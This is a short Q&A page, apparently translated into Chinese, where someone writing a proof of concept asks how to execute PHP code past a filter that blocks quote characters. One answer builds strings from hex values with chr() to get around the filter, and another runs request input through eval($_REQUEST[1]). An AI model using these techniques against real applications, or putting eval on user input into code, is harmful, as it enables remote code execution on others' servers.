php 不带引号的代码执行

Question

我正在编写 php 代码执行漏洞的 POC，但我有一个无法绕过的过滤器，只是我可以在不使用引号 " ' ` 的情况下执行任何功能。我尝试执行一些代码，例如 dirscan(getcwd()) 和 phpinfo()，它起作用了但我找不到任何函数来使用它来编码和解码数字到字符串或任何其他使用 $_REQUEST 和 $_SERVER vars

的方式

有旧的 base64_decode 但它也需要引号。

所以想执行任何我想要的代码吗？

Answer 1

下面的代码可以在不使用任何引号的情况下生成一个字符串：

$array = [ 0x48, 0x45, 0x4c, 0x4c, 0x4f ];

$string = array_reduce($array, function ($a, $b) { return $a . chr($b); });

echo $string; // Prints "HELLO"

Answer 2

使用带有如下输入的表单：

<input type=text name=1>

那么PHP脚本可以做：

eval($_REQUEST[1]);

php 不带引号的代码执行

php code execution without quotes

php

security